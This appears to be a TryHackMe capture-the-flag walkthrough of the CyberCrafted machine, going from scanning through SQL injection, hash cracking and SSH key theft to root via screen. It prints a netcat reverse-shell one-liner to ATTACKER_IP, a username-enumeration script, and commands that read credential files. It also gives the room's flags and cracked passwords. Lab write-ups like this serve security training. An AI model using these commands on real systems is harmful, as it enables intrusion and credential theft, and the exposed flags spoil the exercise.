Port Enumeration

Added the target IP to /etc/hosts first. Then nmap:

nmap -p- -A -T4 -sV -sC TARGET_IP
nmap scan showing three open ports

SSH open. Now the details, via rustscan for the full port range:

rustscan -r 1-65535 -a TARGET_IP -- -sV -sC -T4
rustscan initial output rustscan full service detection

Quite a bit of gold in this mineshaft.

Three ports. SSH on 22, web on 80, and Minecraft on 25565.

The Minecraft banner also broadcasts: Minecraft 1.7.2 (Protocol: 127, Message: ...e-TryHackMe-..., Users: 0/1).


Subdomain Discovery

Started dirbuster in headless mode while I poked at the primary domain:

dirbuster -u http://cybercrafted.thm -l /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -g
dirbuster running in headless mode

While it ran, I was already intrigued by what it was surfacing.

dirbuster surfacing /secret/ directory

/secret/. It’s like a button labeled “don’t touch.”

Traversed up to the parent directory. Excellent background image, by the way.

/secret/ directory index with images

And that’s when herobrine-3.jpg caught my eye.

herobrine-3.jpg opened in browser

Detour: Steganography

herobrine-3.jpg was giving me steganography obfuscation vibes. This was likely off-path for this room, but I was here for it.

steghide info herobrine-3.jpeg
steghide confirms embedded data in the image

Well, well. Embedded data confirmed, passphrase required.

stegseek herobrine-3.jpeg /usr/share/wordlists/rockyou.txt

I AM SO EXCITED. Let it be a dead end. I don’t care. I have been waiting for this moment.

stegseek cracking the passphrase

Stegseek cracked the passphrase against rockyou.txt and extracted herobrine.txt. Inside: a Base32-encoded string.

extracted herobrine.txt with Base32 content

The chain so far:

JPEG → steghide (rijndael-128 CBC) → herobrine.txt → Base32 string

Decoded the Base32. It led nowhere in the context of this room. The Herobrine filename is a creepypasta reference (Minecraft lore built entirely on misdirection) and the decoded string never tied back to any credential, endpoint, or flag I encountered downstream. Classified as a red herring, almost certainly planted. Documented and moved on.

Worth saying: chasing an off-path steganography hunch like this belongs in a CTF, not a scoped engagement. Time boxed, out-of-scope indicators flagged, and back to the actual target.

Back on track.


Subdomain Enumeration

ffuf -u http://cybercrafted.thm -H "Host: FUZZ.cybercrafted.thm" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0
ffuf subdomain enumeration results

Three subdomains: admin, store, www. Added all three to /etc/hosts.

View source on the primary domain also revealed a developer note in the HTML: “A Note to the developers: Just finished up adding other subdomains, now you can work on them!” Confirms the subdomain finding and hints that the other hosts are the real attack surface.

developer note revealed in page source

Admin Panel Recon

Hit admin.cybercrafted.thm. Login form. Intercepted the POST request with Burp and sent it to Repeater and Intruder.

Burp intercepting login POST to admin subdomain

As soon as I turned off Intercept, the URL changed to something very usable:

http://admin.cybercrafted.thm/?error=Incorrect%20username%20or%20password

Differential error response. Different URLs based on valid vs. invalid username is a textbook user enumeration oracle.


User Enumeration via Custom Python Script

Wrote a quick script to iterate through a names wordlist and flag any username that didn’t return the incorrect-credentials error URL:

import requests

url = "http://admin.cybercrafted.thm/login.php"
wordlist = "/usr/share/seclists/Usernames/Names/names.txt"
fail_string = "Incorrect username or password"

with open(wordlist, "r") as f:
    for i, username in enumerate(f):
        username = username.strip()
        try:
            data = {"uname": username, "pwd": "wrongpassword"}
            r = requests.post(url, data=data, allow_redirects=True, timeout=5)
            if fail_string not in r.url and fail_string not in r.text:
                print(f"[+] Possible valid username: {username}")
            if i % 100 == 0:
                print(f"[*] Tried {i} usernames...")
        except requests.exceptions.RequestException:
            pass

SQL Injection on store.cybercrafted.thm

Before running the enumeration to completion, I checked the other subdomains. store.cybercrafted.thm itself returned 403, but a directory fuzz pointed me at search.php:

ffuf -u http://admin.cybercrafted.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .php
ffuf finding search.php

Visiting store.cybercrafted.thm/search.php returned a form begging for SQL injection.

sqlmap -u http://store.cybercrafted.thm/search.php --forms --dump
sqlmap confirming SQLi on search.php

Sqlmap confirmed injection, dumped the database. A two-for-one special: admin username and password hash.

sqlmap dump showing credentials

Username: xXUltimateCreeperXx. Must have also been their MySpace handle. I bet they had lip piercings and a shag emo cut.

Also recovered the first flag from the dump.


Hash Cracking

hashcat -m 100 88b949dd5cdfbecb9f2ecbbfa24e5974234e7c01 /usr/share/wordlists/rockyou.txt
hashcat cracking SHA1 to diamond123456789

Password: diamond123456789. Logged into the admin panel.

admin panel access confirmed

We’re in.


Reverse Shell

Set up a netcat listener:

nc -lvnp 4444

In the authenticated admin browser session, dropped a named-pipe reverse shell pointing back at my attacker VM:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
reverse shell caught on netcat listener

Shell caught. Landed as www-data.

Stabilized:

python3 -c 'import pty;pty.spawn("/bin/bash")'
stabilized shell with pty spawn

SSH Key Theft

Located the Minecraft server directory, but www-data didn’t have access. Checked /etc/passwd for real users to escalate to:

cat /etc/passwd | grep -v nologin | grep -v false

Two candidates: xxultimatecreeperxx and cybercrafted.

Hunted for SSH keys:

find / -name "id_rsa" 2>/dev/null
cat /home/xxultimatecreeperxx/.ssh/id_rsa
encrypted RSA private key found in home directory

Encrypted RSA private key. Copied it to my attacker VM, chmod 600, and tried to SSH in.

ssh -i ~/id_rsa xxultimatecreeperxx@TARGET_IP
SSH prompting for passphrase on encrypted key

Key is encrypted. Time for john.


Cracking the Key Passphrase

ssh2john ~/id_rsa > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john cracking the SSH key passphrase

I was right again. This IS a MySpace name from 2006. Damn. I’m on fire today.

SSH access as xxultimatecreeperxx

In as the user. Take that, MySpace creep. I was NOT lying when I said I wasn’t single.

cat ~/user.txt

Minecraft server flag retrieved: THM{ba93767ae3db9f5b8399680040a0c99e}


Pivoting to cybercrafted

The minecraft server directory had interesting plugin data:

ls /opt/minecraft/cybercrafted/plugins/LoginSystem/
cat /opt/minecraft/cybercrafted/plugins/LoginSystem/passwords.yml
LoginSystem plugin password file with MD5 hashes

Two MD5 hashes. Cracked one, but it didn’t give me what I needed for the next user.

Checked the log file:

cat /opt/minecraft/cybercrafted/plugins/LoginSystem/log.txt
plaintext password in LoginSystem log file

Oh yes. Plaintext, baby. JavaEdition>Bedrock.

SSHing from inside an SSH. Like the matrix up in here.

ssh cybercrafted@TARGET_IP
cat ~/user.txt
second user flag retrieved

User flag: THM{b4aa20aaf08f174473ab0325b24a45ca}


Screen Privilege Escalation to Root

sudo -l
sudo -l showing /usr/bin/screen as permitted

cybercrafted can run /usr/bin/screen as root, no password. Classic screen-as-root privesc vector.

Attached to the existing cybercrafted screen session:

sudo /usr/bin/screen -r cybercrafted

Landed inside the running Minecraft server console. Detach with Ctrl+A then D, reattach, then Ctrl+A then C to open a new shell window inside the screen session. That new shell inherits screen’s privileges: root.

root shell via screen session

The root is ON FIRE.

cat /root/root.txt
root flag retrieved

Root flag: confirmed. Done.


Full Attack Chain

nmap + rustscan → 3 open ports, Minecraft banner
→ dirbuster + ffuf subdomain enum → admin, store, www + /secret/ directory
→ steghide + stegseek on herobrine-3.jpg → Base32 (classified red herring)
→ Burp intercept on admin login → differential error URL user enum oracle
→ Custom Python enum script → valid username candidates
→ ffuf on admin subdomain → search.php
→ sqlmap on store.cybercrafted.thm/search.php → dump → xXUltimateCreeperXx + SHA1 hash + web flag
→ hashcat → diamond123456789 → admin panel login
→ mkfifo named-pipe reverse shell → www-data
→ pty.spawn shell stabilization
→ /home/xxultimatecreeperxx/.ssh/id_rsa → ssh2john → john → SSH as user
→ /opt/minecraft/.../LoginSystem/log.txt → plaintext password → ssh as cybercrafted
→ sudo -l → /usr/bin/screen NOPASSWD → screen session hijack → root shell → root flag